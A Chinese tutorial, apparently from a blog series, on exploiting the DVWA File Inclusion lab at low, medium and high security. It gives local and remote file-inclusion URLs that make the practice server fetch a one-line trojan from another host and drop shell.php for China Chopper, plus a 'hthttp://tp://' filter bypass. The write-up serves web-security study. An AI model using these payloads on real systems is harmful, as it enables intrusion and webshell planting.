二、DVWA之File Inclusion

DVWA之File Inclusion

声明:文中出现的ip为练习靶场,本文仅供学习,旨在学习web安全,不允许任何侵权行为


中国人民*网络安全法

1.文件包含漏洞原理

二、DVWA之File Inclusion

2.文件包含漏洞渗透与防御

2.1 File Inclusion(low)

2.1.1本地文件包含LFI

从代码上看,page参数后面跟着的任何文件路径都会被服务器解析。
二、DVWA之File Inclusion
在第安全级别下,我们配合文件上传漏洞在路径

/var/www/dvwa/hackable/uploads

下上传包含一句话木马的图片,
二、DVWA之File Inclusion
通过执行

http://192.168.199.129/dvwa/vulnerabilities/fi/?page=../../hackable/uploads/duitang.jpg

在下列路径中生成shell.php文件,通过中国菜刀链接即可。

/var/www/dvwa/vulnerabilities/fi

2.1.2远程文件包含RFI

远程文件包含相对容易,根据定义可知,在本地搭建服务器,并建立我们打算包含的木马文件,接着通过

`http://192.168.199.129/dvwa/vulnerabilities/fi/?page=http://192.168.199.128/duitang.jpg`

激活一句话木马并生成shell.php。

2.2 File Inclusion(medium)

<?php

    $file = $_GET['page']; // The page we wish to display 

    // Bad input validation
    $file = str_replace("http://", "", $file);
    $file = str_replace("https://", "", $file);        


?>

str_replace,可以采用 双写规则绕过漏洞

http:// =》hthttp://tp://

2.2.1本地文件包含LFI

与low级别无异

2.2.2远程文件包含RFI

因为路径中的http://会被替换为空,可以采用双写规则绕过漏洞

http:// =》hthttp://tp://

http://192.168.199.129/dvwa/vulnerabilities/fi/?page=hthttp://tp://duitang.jpg

2.3File Inclusion(high)

<?php
        
    $file = $_GET['page']; //The page we wish to display 

    // Only allow include.php
    if ( $file != "include.php" ) {
        echo "ERROR: File not found!";
        exit;
    }
        
?>

将 str_replace替换为 fnmatch ,保证服务器只能够通过 file协议来获取文件。

这里可以配合权限设置,保证只能获取到当前文件目录下的权限。

这里就无法使用http协议进行远程文件包含。绕过该漏洞,需要网站存在相关的上传漏洞。
Tip:文件传输协议,访问本地计算机的文件
file:// — 访问本地文件系统
PHP.ini:
file:// 协议在双off的情况下也可以正常使用;

allow_url_fopen :off/on
allow_url_include:off/on

使用方法:

file:// [文件的绝对路径和文件名]

由此,配合文件上传漏洞,用file协议包含,即可获得webshell。

上一篇:渗透测试---SQL注入~dvwa SQLi演示


下一篇:Burpsuite之dvwa暴力破解